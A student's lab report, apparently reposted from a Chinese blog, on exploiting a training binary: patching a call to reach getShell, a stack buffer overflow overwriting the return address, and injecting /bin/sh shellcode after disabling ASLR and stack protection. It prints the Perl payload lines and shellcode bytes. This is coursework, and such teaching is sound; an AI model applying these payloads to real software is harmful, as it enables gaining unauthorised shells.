20232803 2023-2024-2 《网络攻防实践》实践九报告

目录

    • 1.实践内容
    • 2.实践过程
      • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
      • 2.3 注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数, foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 实践内容如下:
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 实验要求:
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

  • 参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 在学习通中下载目标文件pwn1上传到Kali中,将其重命名为pwn20232803
    在这里插入图片描述

  • 切换到桌面目录下,输入命令objdump -d pwn20232803 | more对该文件进行反汇编
    在这里插入图片描述

  • 敲击回车键,查看更多内容,找到main函数
    在这里插入图片描述
    main函数中我们可以看到call 8048491,而地址8048491正对应foo函数,即main函数调用了foo函数。继续查看foo函数,可以发现该函数实现了回显用户输入的字符串的功能。
    实验要求我们手动更改文件,使得它直接跳转到getShell函数。因此,我们需要对这一条指令进行修改。在修改之前,我们先对这条指令进行分析。
    对于80484b5: e8 d7 ff ff ff

    • 80484b5表示该指令的地址
    • e8表示跳转
    • d7 ff ff ff表示偏移量,这个偏移量是下一条要执行的指令的地址与目的地址之间的距离,以补码的形式表示,并且采用大端模式(低位字节存入高地址)存储,这里表示-41
    • 下一条要执行的指令的地址为80484ba,因此,这条指令的含义是:执行地址为80484ba - 41 = 8048491的指令,8048491正好对应foo函数的起点

    经过上述分析,修改程序执行流程就变得容易了。
    getShell函数的首地址为804847d,那么偏移量为804847d - 80484ba = -61 = 0xffffffc3,采用大端模式存储,即为c3ffffff
    因此,将这条指令修改为80484b5: e8 c3 ff ff ff即可实现直接跳转到getShell函数

  • 输入命令sudo apt install xxd安装xxd
    在这里插入图片描述

  • 输入命令vim pwn20232803打开文件
    在这里插入图片描述

  • 文件内容如下,可以看到都是乱码
    在这里插入图片描述

  • 输入:%!xxd将文件转换成16进制显示
    在这里插入图片描述

  • 输入/e8 d7进行搜索,然后敲击回车键
    在这里插入图片描述

  • i键进入输入模式,将d7修改为c3
    在这里插入图片描述

  • ESC键,输入:%!xxd -r转回原格式,然后输入:wq保存并退出
    在这里插入图片描述

  • 再次输入objdump -d pwn20232803 | more查看反汇编代码
    在这里插入图片描述
    可以看到这里显示了call 8048474 <getShell>,说明计算是正确的,并且修改成功

  • 输入./pwn20232803运行文件
    在这里插入图片描述
    可以看到该文件成功调用getShell函数获取了Shell

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将刚才的pwn20232803文件重命名为pwn20232803-old,再上传一个pwn文件,重命名为pwn20232803

  • 再次输入objdump -d pwn20232803 | more查看反汇编得到的代码
    在这里插入图片描述
    可以看到,在foo函数中,调用了getsputs两个函数,如果输入的字符串长度超过了缓冲区容量,会发生缓冲区溢出的情况。
    foo函数共有0x38个字节作为存储空间,给输入的字符串分配了28字节(0x1c)的空间,我们要构造一个攻击输入字符串,使它能够将return的地址覆盖为getShell地址,从而通过调用getShell函数获取Shell

  • getShell的首地址为0x0804847d,该地址在指令中应该用\x7d\x84\x04\x08作为输入。由于我们通过键盘直接输入这种16进制数,所以采用以下命令将字符串输入并存储到文件中

perl -e 'print "wwwwwwwwwwjjjjjjjjjjllllllllllll\x7d\x84\x04\x08"' > input20232803
  • 输入命令xxd input20232803查看文件,确保字符串的最后4个字节为getShell函数的地址
    在这里插入图片描述
  • 输入命令(cat input20232803;cat) | ./pwn20232803input文件的内容作为pwn文件的输入,实施Bof攻击
    在这里插入图片描述
    提示拒绝访问
    • 修改pwn文件属性,勾选Allow this file to run as a program在这里插入图片描述
  • 再次运行命令(cat input20232803;cat) | ./pwn20232803,成功调用getShell获取Shell
    在这里插入图片描述
    BOF攻击成功!

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 进入以下网站下载execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
    在这里插入图片描述
  • 输入命令sudo execstack -s ./pwn20232803将文件的堆栈设置为可执行状态
  • 输入命令sudo execstack -q ./pwn20232803检查是否设置成功
    在这里插入图片描述
  • 输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 输入命令more /proc/sys/kernel/randomize_va_space检查是否关闭成功,输入0表示已关闭,输出1则为开启
    在这里插入图片描述
  • 构造攻击的方法有retaddr+nop+shellcodenop+shellcode+retaddr,我们选择前者,shellcode的内容如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 使用以下命令构造shellcode的输入,其中\x1\x2\x3\x4将在后面替换为foo函数中retaddr的地址
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803input_shellcode文件的内容作为pwn文件的输入
    在这里插入图片描述
  • 打开另一个终端,输入命令ps -ef | grep pwn20232803查看pwn20232803文件的进程以及进程号
    在这里插入图片描述
    从输出结果中可以看到,pwn20232803文件的进程号为73465
  • 在该终端中继续输入gdb pwn20232803进行调试,以获取foo函数中retaddr的地址

注:若没安装gdb,则需要先输入sudo apt install gdb进行安装
在这里插入图片描述

  • 输入命令attach 73465查看进程,73465为刚刚查看的进程号
  • 输入命令disassemble foofoo函数进行反汇编
    在这里插入图片描述
    可以看到,ret的地址为0x080484ae
  • 输入命令break *0x080484ae设置断点,然后输入c继续执行

注:这里输入c后,要在第一个终端里按一下回车键,才能中断于断点处,否则将一直保持continuing状态

在这里插入图片描述

  • 输入命令info r esp查看栈顶指针所在的位置
    在这里插入图片描述
    栈顶指针所在的位置为0xffffd39c
  • 再输入命令x/16x 0xffffd39c查看该位置存放的内容
    在这里插入图片描述
    其中,0x04030201即为返回地址的位置。因此,栈顶指针的地址 + 4即为shellcode的地址。
0xffffd39c + 4 = 0xffffd3a0
  • 将之前shellcode输入中的\x1\x2\x3\x4采用大端模式替换为\xa0\xd3\xff\xff
perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入命令(cat input_shellcode; cat) | ./pwn20232803再次运行,成功获取Shell
    在这里插入图片描述
    攻击成功!

3.学习中遇到的问题及解决

  • 问题1:输入vim pwn20232803打开文件后,输入:%!xxd无法转换成16进制
    • 解决方案:原因是没有安装xdd,使用sudo apt install xdd进行安装
  • 问题2:在shellcode实验中,gdb调试时输入c后,一直保持在continuing的状态
    • 解决方案:在第一个终端中按回车键,gdb便能继续运行了

4.实践总结

这次实践分为三个部分:

  • 第一个实践让我深入了解了汇编指令和机器码的工作原理,使我能够准确地修改机器指令,改变程序的执行流程。
  • 在第二个实践中,通过利用缓冲区溢出漏洞,我学会了如何构造特定的输入字符串来覆盖函数的返回地址并触发目标函数,这个过程让我深刻理解了缓冲区溢出攻击的原理和危害。
  • 在第三个实践中,通过注入自己制作的Shellcode,可以执行特定的命令或程序。但要注意的是,系统一般有防御机制来阻止恶意代码的注入和执行,如地址随机化、栈保护等。在注入Shellcode之前,需要先绕过这些保护机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/629615.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微信小程序快速开发-基础内容(内容真的又多又干货)

目录 实现横向布局效果 实现滚动效果 实现轮播图效果 实现文本长按选中复制效果 渲染 HTML 标签 按钮组件的使用效果 图片组件的使用效果 Mustache 语法 动态绑定内容&#xff08;定义变量&#xff0c;渲染变量&#xff09; 动态绑定属性&#xff08;将属性定义为变量…

代码随想录算法训练营第二十九天 | 39. 组合总和、40.组合总和II、131.分割回文串

39. 组合总和 题目链接/文章讲解&#xff1a; 代码随想录 视频讲解&#xff1a;带你学透回溯算法-组合总和&#xff08;对应「leetcode」力扣题目&#xff1a;39.组合总和&#xff09;| 回溯法精讲&#xff01;_哔哩哔哩_bilibili 解题思路 这里和组合不同的是元素可以重复选取…

高质量新闻数据集OpenNewsArchive:880万篇主流新闻报道,国产大模型开源数据又添猛料

在构建国产大语言模型的道路上&#xff0c;高质量新闻是不可或缺的重要语料之一。这类语料集准确性、逻辑性、时效性于一体&#xff0c;同时包含丰富的事实知识&#xff0c;可以大幅提升模型的文本生成质量、词汇表达能力、事件理解分析能力以及时序内容的适应性和预测能力&…

[牛客网]——C语言刷题day3

答案&#xff1a;A 解析&#xff1a; A.表示将数组a的首地址赋值给指针变量p B.将一个int型变量直接赋值给一个int型的指针是不行的 C.道理同B D.j2是一个右值&#xff0c;右值是不能进行取地址操作的 #include <iostream> using namespace std;#define N 7 int fun…

Kafka应用Demo: 抽取消费者公共处理代码并利用redis实现多消费者实例负载分担

问题描述 在项目中使用消息中间件&#xff0c;主要为实现两个目的&#xff1a; 任务排队&#xff1a;当请求过多时&#xff0c;消费端无法同时处理&#xff0c;需要排队等待。这一点kafka采用的是"拉取消息"的模式&#xff0c;自然支持。负载分担: 这里的负载负担不…

网络安全|隐藏IP地址的5种不同方法

隐藏计算机的IP地址在互联网在线活动种可以保护个人隐私&#xff0c;这是在线活动的一种常见做法&#xff0c;包括隐私问题、安全性和访问限制内容等场景。那么如何做到呢?有很5种方法分享。每种方法都有自己的优点和缺点。 1. 虚拟网络 当您连接到虚拟服务器时&#xff0c;您…

Spring MVC(四) 数据校验

在开发过程中有一环必不可少的部分就是数据校验&#xff0c;用户在页面中填写的数据通过表单提交时&#xff0c;前端的JS可以做一些是否合法性的验证&#xff0c;比如是否为空、两次密码是否一致、格式是否正确等等验证。当数据到了后台控制器&#xff0c;为了确保程序的健壮性…

STM32--HC-SR501 热释电人体红外感应模块

实物引脚图&#xff1a; 模块工作特性&#xff1a; 当人进入感应范围之后输出引脚输出高电平&#xff0c;人离开感应范围自动延时输出低电平 热释电效应&#xff1a; 热释电传感器&#xff0c;也称为人体红外传感器&#xff0c;其工作原理基于热释电效应。这种传感器由几个关…

IDC:2023年中国IT安全软件市场同比增长4.7%

IDC最新发布的《中国IT安全软件市场跟踪报告&#xff0c;2023H2》显示&#xff0c;2023年下半年中国IT安全软件市场厂商整体收入约为169.8亿人民币&#xff08;约合23.5亿元美元&#xff09;&#xff0c;同比上升2.7%。结合全年数据&#xff0c;2023全年中国IT安全软件市场规模…

三路输出小功率开关电源【MATLAB/simulink】

拟选用一种DC-DC变换器拓扑使用1700 V SiC MOSFET或IGBT设计三相功率系 统的高频开关直流辅助电源&#xff0c;它可用于太阳能逆变器、工业开关电源、电动汽车充电器、 电机驱动装置等领域。&#xff08;建议采用单端反激式电路拓扑&#xff0c;开关频率为80kHz) 电路基本参数&…

项目管理—需求管理规程(软件研发过程标准,管理标准,标书技术编写,资质评审,安全管理体系,项目交付,实施运维,各类建设方案)

软件资料清单列表部分文档清单&#xff1a;工作安排任务书&#xff0c;可行性分析报告&#xff0c;立项申请审批表&#xff0c;产品需求规格说明书&#xff0c;需求调研计划&#xff0c;用户需求调查单&#xff0c;用户需求说明书&#xff0c;概要设计说明书&#xff0c;技术解…

提升用户体验:Xinstall免邀请码功能详解

在移动互联网时代&#xff0c;App的推广和运营显得尤为重要。然而&#xff0c;传统的App推广方式往往需要用户填写繁琐的邀请码&#xff0c;这不仅降低了用户体验&#xff0c;还影响了推广效果。幸运的是&#xff0c;Xinstall作为国内专业的App全渠道统计服务商&#xff0c;推出…

qmake、CMake、make和Makefile

为了跟踪C工程的全部部分&#xff0c;要求有一种机制来精确地指定&#xff1a; 涉及的输入文件&#xff0c;如源代码文件&#xff1a;.cpp&#xff0c;头文件&#xff1a;.h建立程序时所需的工具&#xff0c;如编译器&#xff1a; g.exe&#xff0c;链接器&#xff1a;ld.exe&a…

邦注科技 电解式超声波清洗机的原理介绍

电解式超声波去除模具表面油污锈迹的原理结合了电解和超声波技术的优势。 首先&#xff0c;电解作用是通过在特定的电解槽中&#xff0c;将模具作为阴极&#xff08;放入清洗框即可&#xff09;&#xff0c;并将有制式电极棒作为阳极。在电解过程中&#xff0c;电流如同魔法师…

如何管理测试计划?测试计划管理都使用哪些在线工具?YesDev

3.2 测试计划 测试计划Testing plan&#xff0c;描述了要进行的测试活动的范围、方法、资源和进度的文档&#xff1b;是对整个信息系统应用软件组装测试和确认测试。 3.2.1 管理测试计划 在测试计划&#xff0c;可以查看、管理和维护全部测试计划。 测试计划列表 点击【测…

easyx快速入门1

1.基本说明 EasyX 是针对 C 的图形库&#xff0c;可以帮助 C/C 初学者快速上手图形和游戏编程。 比如&#xff0c;可以基于 EasyX 图形库很快的用几何图形画一个房子&#xff0c;或者一辆移动的小车&#xff0c;可以编写俄罗斯方块、贪吃蛇、黑白棋等小游戏&#xff0c;可以练…

必应bing广告开户费用介绍,必应搜索广告推广开户服务!

微软必应Bing搜索引擎广告成为了企业提升品牌知名度与市场份额的有效途径之一&#xff0c;作为全球第二大搜索引擎&#xff0c;在中国市场正逐步展现出其独特的广告价值与潜力。对于希望拓展在线市场的中国企业而言&#xff0c;通过云衔科技开启必应Bing国内广告推广之旅&#…

openstack部署nova中出现的问题:

[rootcontroller nova]# su -s /bin/sh -c “nova-manage db sync” nova /usr/lib/python2.7/site-packages/pymysql/cursors.py:170: Warning: (1831, u’Duplicate index block_device_mapping_instance_uuid_virtual_name_device_name_idx. This is deprecated and will be…

战网国际服怎么下载 暴雪战网一键下载安装图文教程

战网国际版&#xff0c;或称为Battle.net全球版&#xff0c;是暴雪娱乐构建的一项跨越国界的综合游戏交流平台&#xff0c;它无视地理限制&#xff0c;旨在服务全球每一个角落的游戏爱好者。不同于地区专属版本&#xff0c;国际版为玩家开启了一扇无门槛的大门&#xff0c;让每…

【Win】如何在Windows隐藏安装的程序

由于维护人员或用户可能无意中通过“程序和功能”选项删除对业务至关重要的软件&#xff0c;这导致服务中断或安全风险。为了防止此类情况发生&#xff0c;确保只有授权的用户才能访问和管理系统中的程序。为了实现这一目标&#xff0c;我们将探讨如何在Windows操作系统中隐藏特…